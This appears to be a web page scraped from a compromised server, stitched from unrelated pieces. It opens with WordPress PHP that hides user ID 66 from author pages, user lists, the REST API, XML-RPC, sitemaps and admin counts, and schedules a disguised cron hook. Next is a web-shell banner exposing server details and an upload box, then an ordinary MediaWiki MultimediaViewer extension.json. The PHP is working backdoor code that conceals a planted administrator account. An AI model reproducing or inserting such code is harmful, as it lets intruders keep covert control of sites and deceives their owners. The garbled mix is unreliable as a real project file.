add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/MultimediaViewer/ |
Upload File : |
{
"name": "MultimediaViewer",
"author": [
"Gergő Tisza",
"Gilles Dubuc",
"Mark Holmquist",
"Simon Legner",
"Ed Sanders",
"Pau Giner",
"James D. Forrester",
"Željko Filipin",
"fomafix",
"Volker E",
"Kunal Mehta",
"Umherirrender",
"Timo Tijhof",
"Aaron Arcos",
"Thiemo Kreuz",
"Matthias Mullie",
"Jon Robson",
"Derk-Jan Hartman",
"Chris McMahon",
"Bartosz Dziewoński"
],
"url": "https://www.mediawiki.org/wiki/Extension:MultimediaViewer",
"descriptionmsg": "multimediaviewer-desc",
"license-name": "GPL-2.0-or-later",
"type": "other",
"requires": {
"MediaWiki": ">= 1.44"
},
"MessagesDirs": {
"MultimediaViewer": [
"i18n"
]
},
"AutoloadNamespaces": {
"MediaWiki\\Extension\\MultimediaViewer\\": "includes/"
},
"ResourceModules": {
"mmv": {
"packageFiles": [
{
"name": "mmv/config.json",
"config": {
"useThumbnailGuessing": "MediaViewerUseThumbnailGuessing",
"thumbnailBucketSizes": "MediaViewerThumbnailBucketSizes",
"imageQueryParameter": "MediaViewerImageQueryParameter",
"recordVirtualViewBeaconURI": "MediaViewerRecordVirtualViewBeaconURI",
"extensions": "MediaViewerExtensions"
}
},
"mmv/mmv.js",
"mmv/logging/mmv.logging.ViewLogger.js",
"mmv/model/mmv.model.License.js",
"mmv/model/mmv.model.Image.js",
"mmv/model/mmv.model.Thumbnail.js",
"mmv/model/mmv.model.TaskQueue.js",
"mmv/model/mmv.model.ThumbnailWidth.js",
"mmv/provider/mmv.provider.Api.js",
"mmv/provider/mmv.provider.ImageInfo.js",
"mmv/provider/mmv.provider.ThumbnailInfo.js",
"mmv/provider/mmv.provider.GuessedThumbnailInfo.js",
"mmv/provider/mmv.provider.Image.js",
"mmv/mmv.HtmlUtils.js",
"mmv/mmv.ThumbnailWidthCalculator.js",
"mmv/ui/mmv.ui.js",
"mmv/ui/mmv.ui.dialog.js",
"mmv/ui/mmv.ui.description.js",
"mmv/ui/mmv.ui.canvas.js",
"mmv/ui/mmv.ui.canvasButtons.js",
"mmv/ui/mmv.ui.permission.js",
"mmv/ui/mmv.ui.progressBar.js",
"mmv/ui/mmv.ui.stripeButtons.js",
"mmv/ui/mmv.ui.truncatableTextField.js",
"mmv/ui/mmv.ui.metadataPanel.js",
"mmv/ui/mmv.ui.metadataPanelScroller.js",
"mmv/mmv.lightboxinterface.js"
],
"styles": [
"mmv/ui/mmv.ui.dialog.less",
"mmv/ui/mmv.ui.canvas.less",
"mmv/ui/mmv.ui.canvasButtons.less",
"mmv/ui/mmv.ui.permission.less",
"mmv/ui/mmv.ui.progressBar.less",
"mmv/ui/mmv.ui.stripeButtons.less",
"mmv/ui/mmv.ui.truncatableTextField.less",
"mmv/ui/mmv.ui.metadataPanel.less",
"mmv/ui/mmv.ui.metadataPanelScroller.less",
"mmv/mmv.lightboxinterface.less"
],
"dependencies": [
"mediawiki.api",
"mediawiki.Title",
"mediawiki.jqueryMsg",
"mediawiki.router",
"mediawiki.storage",
"mediawiki.user",
"mediawiki.util",
"mmv.bootstrap",
"mmv.codex"
],
"messages": [
"license-header",
"multimediaviewer-current-image-number",
"multimediaviewer-file-page",
"multimediaviewer-enable-alert",
"multimediaviewer-disable-confirmation-header",
"multimediaviewer-disable-confirmation-text",
"multimediaviewer-enable-dialog-header",
"multimediaviewer-enable-text-header",
"multimediaviewer-enable-submit-button",
"multimediaviewer-enable-confirmation-header",
"multimediaviewer-enable-confirmation-text",
"multimediaviewer-file-not-found-error",
"multimediaviewer-thumbnail-error",
"multimediaviewer-thumbnail-error-description",
"multimediaviewer-thumbnail-error-retry",
"multimediaviewer-report-issue-url",
"multimediaviewer-thumbnail-error-report",
"multimediaviewer-errorreport-privacywarning",
"multimediaviewer-download-link",
"multimediaviewer-reuse-link",
"multimediaviewer-close-popup-text",
"multimediaviewer-fullscreen-popup-text",
"multimediaviewer-defullscreen-popup-text",
"multimediaviewer-next-image-alt-text",
"multimediaviewer-prev-image-alt-text",
"multimediaviewer-commons-subtitle",
"multimediaviewer-credit",
"multimediaviewer-credit-fallback",
"multimediaviewer-multiple-authors",
"multimediaviewer-multiple-authors-combine",
"multimediaviewer-datetime-created",
"multimediaviewer-datetime-uploaded",
"multimediaviewer-permission-link",
"multimediaviewer-permission-link-hide",
"multimediaviewer-restriction-2257",
"multimediaviewer-restriction-aus-reserve",
"multimediaviewer-restriction-communist",
"multimediaviewer-restriction-costume",
"multimediaviewer-restriction-currency",
"multimediaviewer-restriction-design",
"multimediaviewer-restriction-fan-art",
"multimediaviewer-restriction-ihl",
"multimediaviewer-restriction-insignia",
"multimediaviewer-restriction-ita-mibac",
"multimediaviewer-restriction-nazi",
"multimediaviewer-restriction-personality",
"multimediaviewer-restriction-trademarked",
"multimediaviewer-restriction-default",
"multimediaviewer-restriction-default-and-others",
"multimediaviewer-reuse-warning-deletion",
"multimediaviewer-reuse-warning-nonfree",
"multimediaviewer-reuse-warning-noattribution",
"multimediaviewer-reuse-warning-generic",
"multimediaviewer-geoloc-north",
"multimediaviewer-geoloc-east",
"multimediaviewer-geoloc-south",
"multimediaviewer-geoloc-west",
"multimediaviewer-geoloc-coord",
"multimediaviewer-geoloc-coords",
"multimediaviewer-geolocation",
"mypreferences",
"multimediaviewer-metadata-error",
"multimediaviewer-title-popup-text",
"multimediaviewer-credit-popup-text",
"multimediaviewer-title-popup-text-more",
"multimediaviewer-credit-popup-text-more",
"multimediaviewer-permission-title",
"multimediaviewer-permission-viewmore",
"multimediaviewer-description-page-button-text",
"multimediaviewer-description-page-popup-text",
"multimediaviewer-repository-local",
"multimediaviewer-license-cc-by-1.0",
"multimediaviewer-license-cc-sa-1.0",
"multimediaviewer-license-cc-by-sa-1.0",
"multimediaviewer-license-cc-by-2.0",
"multimediaviewer-license-cc-by-sa-2.0",
"multimediaviewer-license-cc-by-2.1",
"multimediaviewer-license-cc-by-sa-2.1",
"multimediaviewer-license-cc-by-2.5",
"multimediaviewer-license-cc-by-sa-2.5",
"multimediaviewer-license-cc-by-3.0",
"multimediaviewer-license-cc-by-sa-3.0",
"multimediaviewer-license-cc-by-4.0",
"multimediaviewer-license-cc-by-sa-4.0",
"multimediaviewer-license-cc-pd",
"multimediaviewer-license-cc-zero",
"multimediaviewer-license-pd",
"multimediaviewer-license-default"
]
},
"mmv.codex": {
"class": "MediaWiki\\ResourceLoader\\CodexModule",
"codexStyleOnly": true,
"codexComponents": [
"CdxButton",
"CdxDialog",
"CdxProgressBar",
"CdxSelect",
"CdxTabs",
"CdxTextInput"
]
},
"mmv.ui.reuse": {
"packageFiles": [
"mmv.ui.reuse/index.js",
"mmv.ui.reuse/mmv.ui.reuse.dialog.js",
"mmv.ui.reuse/mmv.ui.download.dialog.js",
"mmv.ui.reuse/mmv.ui.download.pane.js",
"mmv.ui.reuse/mmv.ui.reuse.share.js",
"mmv.ui.reuse/mmv.ui.reuse.embed.js",
"mmv.ui.reuse/mmv.EmbedFileFormatter.js",
"mmv.ui.reuse/mmv.ui.utils.js"
],
"styles": [
"mmv.ui.reuse/mmv.ui.reuse.dialog.less",
"mmv.ui.reuse/mmv.ui.download.dialog.less"
],
"dependencies": [
"mmv.codex",
"mediawiki.user",
"mediawiki.widgets"
],
"messages": [
"multimediaviewer-copy-button",
"multimediaviewer-default-embed-dimensions",
"multimediaviewer-original-embed-dimensions",
"multimediaviewer-xl-embed-dimensions",
"multimediaviewer-large-embed-dimensions",
"multimediaviewer-medium-embed-dimensions",
"multimediaviewer-small-embed-dimensions",
"multimediaviewer-embed-dimensions",
"multimediaviewer-embed-dimensions-separated",
"multimediaviewer-credit",
"multimediaviewer-text-embed-credit-text-bl",
"multimediaviewer-text-embed-credit-text-b",
"multimediaviewer-text-embed-credit-text-l",
"multimediaviewer-html-embed-credit-text-bl",
"multimediaviewer-html-embed-credit-text-b",
"multimediaviewer-html-embed-credit-text-l",
"multimediaviewer-html-embed-credit-link-text",
"mw-widgets-copytextlayout-copy-success",
"multimediaviewer-download",
"multimediaviewer-download-preview-link-title",
"multimediaviewer-download-attribution-cta-header",
"multimediaviewer-download-link",
"multimediaviewer-download-optional-attribution-cta-header",
"multimediaviewer-download-attribution-copy",
"multimediaviewer-download-attribution",
"multimediaviewer-attr-plain",
"multimediaviewer-attr-html",
"multimediaviewer-share-tab",
"multimediaviewer-share-explanation",
"multimediaviewer-link-to-file",
"multimediaviewer-link-to-page",
"multimediaviewer-reuse-loading-placeholder",
"multimediaviewer-reuse-copy-share",
"multimediaviewer-reuse-copy-embed",
"multimediaviewer-embed-tab",
"multimediaviewer-embed-html",
"multimediaviewer-embed-wt",
"multimediaviewer-embed-explanation",
"multimediaviewer-embed-byline",
"multimediaviewer-embed-license",
"multimediaviewer-embed-via"
]
},
"mmv.ui.restriction": {
"styles": [
"mmv.ui.restriction/mmv.ui.restriction.less"
]
},
"mmv.bootstrap": {
"packageFiles": [
{
"name": "mmv.bootstrap/config.json",
"config": {
"extensions": "MediaViewerExtensions"
}
},
"mmv.bootstrap/mmv.bootstrap.autostart.js",
"mmv.bootstrap/mmv.bootstrap.js",
"mmv.bootstrap/mmv.lightboximage.js",
"mmv.bootstrap/mmv.Config.js"
],
"styles": [
"mmv.bootstrap/mmv.bootstrap.less"
],
"dependencies": [
"mmv.codex",
"mediawiki.api",
"mediawiki.router",
"mediawiki.Title",
"mediawiki.user",
"mediawiki.storage"
],
"messages": [
"multimediaviewer-loading",
"multimediaviewer-view-expanded",
"multimediaviewer-view-config",
"multimediaviewer-disable-info-title",
"multimediaviewer-disable-info"
]
}
},
"ResourceFileModulePaths": {
"localBasePath": "resources",
"remoteExtPath": "MultimediaViewer/resources"
},
"QUnitTestModule": {
"localBasePath": "",
"remoteExtPath": "MultimediaViewer",
"packageFiles": [
"tests/qunit/mmv/index.js",
"tests/qunit/mmv/mmv.bootstrap.test.js",
"tests/qunit/mmv/mmv.test.js",
"tests/qunit/mmv/mmv.lightboxinterface.test.js",
"tests/qunit/mmv/mmv.lightboximage.test.js",
"tests/qunit/mmv/mmv.ThumbnailWidthCalculator.test.js",
"tests/qunit/mmv/mmv.EmbedFileFormatter.test.js",
"tests/qunit/mmv/mmv.Config.test.js",
"tests/qunit/mmv/mmv.HtmlUtils.test.js",
"tests/qunit/mmv/logging/mmv.logging.ViewLogger.test.js",
"tests/qunit/mmv/model/mmv.model.test.js",
"tests/qunit/mmv/model/mmv.model.TaskQueue.test.js",
"tests/qunit/mmv/model/mmv.model.License.test.js",
"tests/qunit/mmv/model/mmv.model.Image.test.js",
"tests/qunit/mmv/provider/mmv.provider.Api.test.js",
"tests/qunit/mmv/provider/mmv.provider.ImageInfo.test.js",
"tests/qunit/mmv/provider/mmv.provider.ThumbnailInfo.test.js",
"tests/qunit/mmv/provider/mmv.provider.GuessedThumbnailInfo.test.js",
"tests/qunit/mmv/provider/mmv.provider.Image.test.js",
"tests/qunit/mmv/ui/mmv.ui.test.js",
"tests/qunit/mmv/ui/mmv.ui.canvas.test.js",
"tests/qunit/mmv/ui/mmv.ui.canvasButtons.test.js",
"tests/qunit/mmv/ui/mmv.ui.description.test.js",
"tests/qunit/mmv/ui/mmv.ui.download.pane.test.js",
"tests/qunit/mmv/ui/mmv.ui.metadataPanel.test.js",
"tests/qunit/mmv/ui/mmv.ui.metadataPanelScroller.test.js",
"tests/qunit/mmv/ui/mmv.ui.progressBar.test.js",
"tests/qunit/mmv/ui/mmv.ui.permission.test.js",
"tests/qunit/mmv/ui/mmv.ui.stripeButtons.test.js",
"tests/qunit/mmv/ui/mmv.ui.reuse.dialog.test.js",
"tests/qunit/mmv/ui/mmv.ui.reuse.embed.test.js",
"tests/qunit/mmv/ui/mmv.ui.reuse.share.test.js",
"tests/qunit/mmv/ui/mmv.ui.reuse.utils.test.js",
"tests/qunit/mmv/ui/mmv.ui.truncatableTextField.test.js",
"tests/qunit/mmv/mmv.testhelpers.js"
],
"dependencies": [
"mmv.bootstrap",
"mmv",
"mmv.ui.reuse"
]
},
"Hooks": {
"UserGetDefaultOptions": "main",
"GetPreferences": "main",
"BeforePageDisplay": "main",
"CategoryPageView": "main",
"ResourceLoaderGetConfigVars": "main",
"MakeGlobalVariablesScript": "main",
"ThumbnailBeforeProduceHTML": "main"
},
"HookHandlers": {
"main": {
"class": "MediaWiki\\Extension\\MultimediaViewer\\Hooks",
"services": [
"MainConfig",
"SpecialPageFactory",
"UserOptionsLookup"
],
"optional_services": [
"MobileFrontend.Context"
]
}
},
"config": {
"MediaViewerExtensions": {
"value": {
"djvu": "default",
"jpg": "default",
"jpeg": "default",
"gif": "default",
"svg": "default",
"png": "default",
"tiff": "default",
"tif": "default",
"webp": "default"
}
},
"MediaViewerUseThumbnailGuessing": {
"description": "When this is enabled, MediaViewer will try to guess image URLs instead of making an imageinfo API to get them from the server. This speeds up image loading, but will result in 404s when $wgGenerateThumbnailOnParse (so the thumbnails are only generated as a result of the API request). MediaViewer will catch such 404 errors and fall back to the API request, but depending on how the site is set up, the 404 might get cached, or redirected, causing the image load to fail. The safe way to use URL guessing is with a 404 handler: https://www.mediawiki.org/wiki/Manual:Thumb.php#404_Handler",
"value": false
},
"MediaViewerThumbnailBucketSizes": {
"description": "Array of preselected widths used to generate thumbnail URLs to avoid arbitrary size requests (see also wgUploadThumbnailRenderMap).",
"value": [
320,
800,
1024,
1280,
1920,
2560,
2880
]
},
"MediaViewerEnableByDefault": {
"description": "If true, Media Viewer will be turned on by default.",
"value": true
},
"MediaViewerEnableByDefaultForAnonymous": {
"description": "Overrides $wgMediaViewerEnableByDefault for anonymous users. If set to null, will fall back to value of $wgMediaViewerEnableByDefault",
"value": null
},
"MediaViewerImageQueryParameter": {
"description": "If set, adds a query parameter to image requests made by Media Viewer",
"value": false
},
"MediaViewerRecordVirtualViewBeaconURI": {
"description": "If set, records a virtual view via the provided beacon URI.",
"value": false
}
},
"manifest_version": 2
}